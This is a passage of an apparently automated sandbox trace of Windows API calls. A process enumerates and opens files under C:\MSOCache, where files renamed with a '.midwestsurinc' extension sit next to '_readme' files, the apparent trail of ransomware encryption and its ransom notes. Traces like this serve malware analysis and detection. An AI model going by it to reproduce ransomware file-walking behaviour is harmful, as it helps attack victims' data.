dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x591627b0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5a069290, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b3c0550, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56b60fd0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56b60fd0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e349f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56e349f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e80cb0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.946] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.946] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.946] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e80cb0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.946] GetLastError () returned 0x12 [0227.946] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0227.946] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0227.946] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56e80cb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.946] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x591627b0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0227.946] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4578 [0227.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.946] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0227.946] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x591627b0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0227.947] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0227.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.947] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0227.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.947] NtClose (Handle=0x1b0) returned 0x0 [0227.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4680) returned 1 [0227.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0227.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f69f0 [0227.947] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0228.023] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x591627b0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.023] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5893b910, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5893b910, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58fe59f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x58fe59f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x591627b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.024] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.024] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x591627b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.024] GetLastError () returned 0x12 [0228.024] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0228.024] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x591627b0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5893b910, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5893b910, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58fe59f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x58fe59f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x591627b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.025] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x591627b0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x591627b0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.025] GetLastError () returned 0x12 [0228.025] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f69f0) returned 1 [0228.025] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0228.026] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.026] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4680) returned 1 [0228.026] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5a069290, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0228.026] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0228.026] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5a069290, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0228.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0228.179] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0228.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0228.179] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0228.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0228.179] NtClose (Handle=0x1b4) returned 0x0 [0228.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4680) returned 1 [0228.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.179] RtlAllocateHeap (HeapHandle=0x4a0000, 